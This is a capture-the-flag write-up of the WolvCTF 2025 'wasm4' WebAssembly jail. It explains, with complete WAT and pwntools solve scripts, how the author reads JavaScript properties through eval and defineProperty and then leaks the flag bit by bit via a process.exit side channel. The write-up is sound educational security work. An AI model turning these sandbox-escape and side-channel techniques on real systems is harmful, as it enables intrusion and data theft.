.;,;.
WolvCTF 2025: "wasm4"

WolvCTF 2025: "wasm4"

March 24, 2025
13 min read
index

Challenge Breakdown

Wasm 4 is a WebAssembly jail with a simple premise: you are allowed to write any WebAssembly module; you are given the object { 'i': globalThis } as your imports, meaning you can import anything from globalThis; your goal is to call the win function, as follows.

function win(key) {
if (key === '🥺') {
console.log("wctf{redacted-flag}");
}
}
globalThis.win = win;

If we can somehow, from WebAssembly, construct the string '🥺' and pass it to win, we get the flag.

WebAssembly References

At first, I had no idea how to approach this challenge. To keep it brief, I spent the first few hours staring at JavaScript and WebAssembly docs, until I discovered the WebAssembly externref type.

externref is a type from the Reference Types proposal that represents an opaque JavaScript object. WebAssembly cannot modify or interact with these objects, but it can hold these objects on its stack and pass them to and fro JavaScript. externref is critical to this challenge, it means we can actually work with JavaScript objects to an extent.

As an aside, when I first discovered the Reference Types proposal, I looked for other WebAssembly proposals that might be useful. I found the Reference-Typed Strings proposal, which allows WebAssembly to directly work with, modify, and create JavaScript strings. So… challenge solved? Well, I tried writing a small test solve with this locally, and unfortunately…

Compiling function #4 failed: Invalid opcode 0xfb (enable with --experimental-wasm-stringref)

Luckily, however, the Reference Types proposal works out-of-the-box.

The Gameplan

At this point, my plan looked like this:

  1. Somehow call String.fromCharCode to get the winning string.
  2. Call win.

With WebAssembly, all imports are in the form of module.name. That is, since our imports object is { 'i': globalThis }, we could import, say, the function eval from globalThis by using "i" as our module and "eval" as our name. Unfortunately, WebAssembly does not allow hierarchical module names. We cannot import String.fromCharCode by using "i.String" as our module and "fromCharCode" as our name.

If we want to call String.fromCharCode, we will have to first somehow read the property fromCharCode from String, then call it.

Reading Object Properties (part 1)

Reading object properties will have to take place purely through JavaScript function calls, as that is the only way we can interact with JavaScript objects from WebAssembly. So, we will have to find some useful built-in functions to work with.

From experience, I know that all JavaScript objects have several built-in properties like constructor and __proto__. This means that, although our imports object, { 'i': globalThis }, is only explicitly defined as having the module "i" , we can also use the built-in properties of the imports object as modules to import functions from. This gives us a few more options in terms of functions we can use.

I wrote a tiny script based off this gist to list all importable functions available. The functions that immediately stood out to me were:

  1. globalThis.decodeURI, globalThis.decodeURIComponent, globalThis.encodeURI, globalThis.encodeURIComponent, globalThis.escape, and globalThis.unescape. These can all modify strings.
  2. globalThis.eval. If we can somehow craft a string containing JavaScript code, we win. But, crafting a string containing the right JavaScript code is no easier than crafting our target string '🥺'.
  3. globalThis.atob. If we can somehow craft the Base64-encoded version of '🥺', we can decode it with atob. But again, crafting the Base64-encoded version is no easier than crafting '🥺'.
  4. globalThis.btoa. btoa encodes an input value in Base64.
  5. {}.__lookupGetter__.call. This method seems useful for reading object properties, but is actually completely useless for our purposes. __lookupGetter__ only returns something if there is a getter function defined for a property. Most properties, including the property String.fromCharCode, are not defined with getter functions.
  6. {}.constructor.getOwnPropertyDescriptor, {}.constructor.defineProperty, and {}.constructor.getOwnPropertyNames. Bingo!

Object.getOwnPropertyDescriptor takes two parameters: an object and a string containing a property name. It returns a property descriptor, which looks like this (example from here):

let o, d;
o = { bar: 42 };
d = Object.getOwnPropertyDescriptor(o, "bar");
console.log(d);
// {
// configurable: true,
// enumerable: true,
// value: 42,
// writable: true
// }

Object.defineProperty is similar to Object.getOwnPropertyDescriptor, but instead of reading a property descriptor, it writes a property based off a property descriptor.

Object.getOwnPropertyNames takes in an object and returns an array of all names of properties defined by that object.

This is certainly a step in the right direction in terms of reading object properties. But, because getOwnPropertyDescriptor returns a property descriptor rather than just the property value itself, we still cannot access the property value from WebAssembly. We would have to somehow do another property read, this time reading the .value property from the property descriptor itself to get the original property’s value.

Reading Object Properties (part 2)

This seems like a dead-end, because we now need to be able to read a property in order to read a property.

However, I realized that by combining a few tactics, we are in fact able to read properties with this method. Here’s what I figured out:

  1. Generate a string that is a valid JavaScript identifier. We can use btoa for this. We will assign this string to the local variable $str1.
  2. Call Object.getOwnPropertyDescriptor. We will assign this descriptor to the local variable $descriptor.
  3. Call Object.defineProperty(globalThis, $str1, $descriptor).
  4. Call eval($str1). The return value is our target property’s value!

To understand more concretely why this works, here’s an example JavaScript implementation of this concept:

const obj = { val: 42 };
const property = 'val';
// We want to read obj.val
const str1 = btoa(123);
console.log(str1);
// outputs: 'MTIz'
const descriptor = Object.getOwnPropertyDescriptor(obj, property);
console.log(descriptor);
// outputs: { value: 42, ... }
Object.defineProperty(globalThis, str1, descriptor);
console.log(globalThis.MTIz);
// outputs: 42
console.log(MTIz);
// outputs: 42
// (this works because all global variables in JavaScript are implicitly
// properties of globalThis)
console.log(eval('MTIz'));
// outputs: 42
console.log(eval(str1));
// outputs: 42

For future clarity, I will be referring to this technique used to read properties as the Property-Reading Method.

We can also copy properties from object A to object B with a variant of the Property-Reading Method, where instead of calling Object.defineProperty on globalThis, we call it on object B. I will be referring to this technique as the Property-Copying Method. To be pedantic, we also skip the btoa and eval calls in the Property-Copying Method.

Reading Object Properties (part 3)

The Property-Reading Method certainly works, but it has one caveat: we first need to somehow get the property’s name as a string. Fortunately, this is not too difficult, thanks to the Object.getOwnPropertyNames function.

We first call Object.getOwnPropertyNames, which, as previously stated, takes in an object and returns an array of all names of properties defined by that object. Then, we can use our Property-Reading Method on the returned array itself to index into it.

This works because, in JavaScript, elements of an array are considered as “properties” with their numeric index as their “property name.” However, unlike strings, we are able to arbitrary construct numbers from WebAssembly to use as the “property name.”

Now, putting everything together, this is our strategy to read the property String.fromCharCode, in JavaScript form:

const str1 = btoa(123);
console.log(str1);
// 'MTIz'
const names = Object.getOwnPropertyNames(String);
console.log(names);
// [
// 'length',
// 'name',
// 'prototype',
// 'fromCharCode',
// 'fromCodePoint',
// 'raw'
// ]
const descriptor1 = Object.getOwnPropertyDescriptor(names, 3);
console.log(descriptor1);
// { value: 'fromCharCode', ... }
Object.defineProperty(globalThis, str1, descriptor1);
console.log(MTIz);
// 'fromCharCode'
const fromCharCodeStr = eval(str1);
console.log(fromCharCodeStr);
// 'fromCharCode'
const descriptor2 = Object.getOwnPropertyDescriptor(String, fromCharCodeStr);
console.log(descriptor2);
// { value: [Function: fromCharCode], ... }
Object.defineProperty(globalThis, str1, descriptor2);
console.log(MTIz);
// [Function: fromCharCode]
const fromCharCode = eval(str1);
console.log(fromCharCode);
// [Function: fromCharCode]

In WebAssembly form:

(module
(import "i" "globalThis" (global $globalThis externref))
(import "i" "String" (global $String externref))
(import "i" "eval" (func $eval (param externref) (result externref)))
(import "i" "btoa" (func $btoa (param i32) (result externref)))
(import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptorNum (param externref) (param i32) (result externref)))
(import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptor (param externref) (param externref) (result externref)))
(import "constructor" "getOwnPropertyNames" (func $getOwnPropertyNames (param externref) (result externref)))
(import "constructor" "defineProperty" (func $defineProperty (param externref) (param externref) (param externref)))
(func (export "main") (result externref)
(local $str1 externref)
(local $names externref)
(local $descriptor1 externref)
(local $descriptor2 externref)
(local $fromCharCodeStr externref)
(local $fromCharCode externref)
;; const str1 = btoa(123);
i32.const 123
call $btoa
local.set $str1
;; const names = Object.getOwnPropertyNames(String);
global.get $String
call $getOwnPropertyNames
local.set $names
;; const descriptor1 = Object.getOwnPropertyDescriptor(names, 3);
local.get $names
i32.const 3
call $getOwnPropertyDescriptorNum
local.set $descriptor1
;; Object.defineProperty(globalThis, str1, descriptor1);
global.get $globalThis
local.get $str1
local.get $descriptor1
call $defineProperty
;; const fromCharCodeStr = eval(str1);
local.get $str1
call $eval
local.set $fromCharCodeStr
;; const descriptor2 = Object.getOwnPropertyDescriptor(String, fromCharCodeStr);
global.get $String
local.get $fromCharCodeStr
call $getOwnPropertyDescriptor
local.set $descriptor2
;; Object.defineProperty(globalThis, str1, descriptor2);
global.get $globalThis
local.get $str1
local.get $descriptor2
call $defineProperty
;; const fromCharCode = eval(str1);
local.get $str1
call $eval
local.set $fromCharCode
;; return fromCharCode for debugging purposes
local.get $fromCharCode
return
)
)

If we patch the challenge to print out the return value of main, then assemble and run our program locally…

> wat2wasm.exe wasm4.wat
> node 4.js
>>> 0061736d0100000001210660016f016f60017f016f60026f7f016f60026f6f016f60036f6f6f006000016f02bc010801690a676c6f62616c54686973036f00016906537472696e67036f000169046576616c000001690462746f6100010b636f6e7374727563746f72186765744f776e50726f706572747944657363726970746f7200020b636f6e7374727563746f72186765744f776e50726f706572747944657363726970746f7200030b636f6e7374727563746f72136765744f776e50726f70657274794e616d657300000b636f6e7374727563746f720e646566696e6550726f7065727479000403020105070801046d61696e00060a42014001066f41fb0010012100230110042101200141031002210223002000200210052000100021042301200410032103230020002003100520001000210520050f0b
[Function: fromCharCode]

Hooray! We now have String.fromCharCode. All that’s left is to call it and win!

Not Quite…

When I first looked at the Reference Types proposal, I had seen some talk of a call_ref instruction, and just assumed that this instruction meant that we if we had a JavaScript function in an externref value, we could call it.

Well. Turns out, call_ref is for another reference type called funcref, not externref. And funcref can only refer to WebAssembly functions, not JavaScript ones. Damn. We have String.fromCharCode, but no way to call it.

I looked for a bit for built-in JavaScript functions that would take in a function as a parameter, call it for me, and return the return value, but did not find any such functions that were accessible to import.

However, I did notice this suspicious little call to process.exit after our WebAssembly code is run. Here is the full snippet from the challenge source:

let wasmMod = new WebAssembly.Module(new Uint8Array(parseHex(result)));
let instance = new WebAssembly.Instance(wasmMod, { 'i': globalThis });
instance.exports.main();
process.exit(0);

We know how to copy properties from one object to another. So, theoretically, we could overwrite process.exit with another function to invoke it with the argument 0.

This is not very useful, though. To get our winning string, we need to invoke String.fromCharCode with the argument 55358, not 0. Furthermore, we would need to somehow get the return value, and subsequently call win with it.

Side-channeling?

Overwriting process.exit, however, does allow us to do one very powerful thing: exfiltrate information from our WebAssembly code. We can exfiltrate exactly one bit of information, and here’s how:

  1. To exfiltrate the bit 0, do nothing.
  2. To exfiltrate the bit 1, use our Property-Copying Method to overwrite process.exit with console.log, so that a 0 is printed to the console.

We will know what the exfiltrated bit is by whether or not something is printed to the console. In essence, side-channeling. Realizing that we can exfiltrate a single bit made me realize that there is a way to solve this challenge without calling win.

Side-channeling.

From experience, I know that in JavaScript, stringifying a function will return its source code. This means that if we stringify the win function, the resulting string will contain the flag. We can read out a flag character from the win function’s source code, then exfiltrate the character bit-by-bit. Rinse and repeat for the remaining characters, and we win.

In JavaScript, our solution looks like this:

const charIndex = 64;
const mask = 0x01;
// We want to exfiltrate the bit (win.toString()[charIndex] & mask)
const str1 = btoa(123);
const str2 = btoa(124);
const winSource = unescape(win); // Use unescape to stringify.
// Property-Reading Method to read winSource[charIndex]
Object.defineProperty(global, str1, Object.getOwnPropertyDescriptor(
winSource, charIndex
));
// Property-Reading Method to read Buffer(winSource[charIndex])[0]
//
// This is necessary to convert our char from a string to its char code.
//
// Also, from here on out, str2 will be used instead of str1 because the
// property descriptor of winSource[charIndex] is not configurable, so we
// cannot redefine global[str1].
Object.defineProperty(global, str2, Object.getOwnPropertyDescriptor(
Buffer(eval(str1)), 0
))
if ((eval(str2) & mask) !== 0) {
// Our bit is a 1, so we need to overwrite process.exit with
// console.log
// Property-Reading Method to get string "log"
Object.defineProperty(global, str2, Object.getOwnPropertyDescriptor(
Object.getOwnPropertyNames(console), 0
));
const logStr = eval(str2);
// Property-Reading Method to get string "exit"
Object.defineProperty(global, str2, Object.getOwnPropertyDescriptor(
Object.getOwnPropertyNames(process), 31
));
const exitStr = eval(str2);
// Property-Copying Method to assign console.log to process.exit
Object.defineProperty(process, exitStr, Object.getOwnPropertyDescriptor(
console, logStr
));
}

Now, we just write a WebAssembly version, attach a small Python program to build up the flag bit-by-bit, and voila!

wctf{pr0l1f1c_1mp0rt3r}

Solve Scripts

(module
(import "i" "global" (global $global externref))
(import "i" "console" (global $console externref))
(import "i" "process" (global $process externref))
(import "i" "win" (global $win externref))
(import "i" "Buffer" (func $Buffer (param externref) (result externref)))
(import "i" "unescape" (func $unescape (param externref) (result externref)))
(import "i" "eval" (func $evalInt (param externref) (result i32)))
(import "i" "eval" (func $eval (param externref) (result externref)))
(import "i" "btoa" (func $btoa (param i32) (result externref)))
(import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptorNum (param externref) (param i32) (result externref)))
(import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptor (param externref) (param externref) (result externref)))
(import "constructor" "getOwnPropertyNames" (func $getOwnPropertyNames (param externref) (result externref)))
(import "constructor" "defineProperty" (func $defineProperty (param externref) (param externref) (param externref) (result externref)))
(func (export "main")
(local $str1 externref)
(local $str2 externref)
(local $winSource externref)
(local $logStr externref)
(local $exitStr externref)
i32.const 123
call $btoa
local.set $str1
i32.const 124
call $btoa
local.set $str2
global.get $win
call $unescape
local.set $winSource
;; read char from source
global.get $global
local.get $str2
global.get $global
local.get $str1
local.get $winSource
i32.const 0x1337
call $getOwnPropertyDescriptorNum
call $defineProperty
drop
local.get $str1
call $eval
call $Buffer
i32.const 0
call $getOwnPropertyDescriptorNum
call $defineProperty
drop
local.get $str2
call $evalInt
;; mask bit we want to side channel
i32.const 0x1338
i32.and
;; side channel bit
(if
(then
;; bit is a 1, print a 0
;; get string "log"
global.get $global
local.get $str2
global.get $console
call $getOwnPropertyNames
i32.const 0
call $getOwnPropertyDescriptorNum
call $defineProperty
drop
local.get $str2
call $eval
local.set $logStr
;; get string "exit"
global.get $global
local.get $str2
global.get $process
call $getOwnPropertyNames
i32.const 0x1339
call $getOwnPropertyDescriptorNum
call $defineProperty
drop
local.get $str2
call $eval
local.set $exitStr
;; assign console.log to process.exit
global.get $process
local.get $exitStr
global.get $console
local.get $logStr
call $getOwnPropertyDescriptor
call $defineProperty
drop
)
(else
;; bit is a 0, do nothing
nop
)
)
)
)
import pwn
# wctf{pr0l1f1c_1mp0rt3r}
pwn.context.log_level = 'error'
payload = open('wasm4.wasm', 'rb').read()
codeIndex = payload.rindex(bytes.fromhex('0A'))
payloadStart = payload[:codeIndex]
templateCode = payload[codeIndex + 4:]
def leb128(n: int):
result = b''
while True:
byte = n & 0x7f
n >>= 7
if (n == 0 and byte & 0x40 == 0) or (n == -1 and byte & 0x40 != 0):
result += bytes([byte])
break
result += bytes([byte | 0x80])
return result
def generatePayload(i: int, mask: int, t: int):
code = templateCode.replace(leb128(0x1337), leb128(i)).replace(leb128(0x1338), leb128(mask)).replace(leb128(0x1339), leb128(t))
code = bytes.fromhex('01') + leb128(len(code)) + code
payload = payloadStart + bytes.fromhex('0A') + leb128(len(code)) + code
return payload
def sideChannelChar(index: int):
c = 0
for i in range(7):
r = pwn.remote('wasm4.kctf-453514-codelab.kctf.cloud', 1337)
r.sendlineafter(b'>>> ', generatePayload(index, 1 << i, 31).hex().encode())
try:
r.recvline()
c |= 1 << i
except EOFError:
pass
r.close()
return chr(c)
i = 64
while True:
print(sideChannelChar(i), end='')
i += 1

The Intended Solution

I think it’s quite obvious here that completely bypassing the calling of the win function is not intended.

Here’s the intended solution:

(module
(import "i" "win" (func $win (param externref)))
(import "i" "Array" (func $Array (param i32 i32 i32 i32) (result externref)))
(import "i" "Buffer" (func $Buffer (param externref) (result externref)))
(import "i" "String" (func $String (param externref) (result externref)))
(func (export "main")
i32.const 0xf0
i32.const 0x9f
i32.const 0xa5
i32.const 0xba
call $Array ;; Array(0xf0, 0x9f, 0xa5, 0xba)
call $Buffer ;; Buffer(Array(...))
call $String ;; String(Buffer(...))
call $win
)
)

Yeah… so I might’ve overcomplicated this a bit.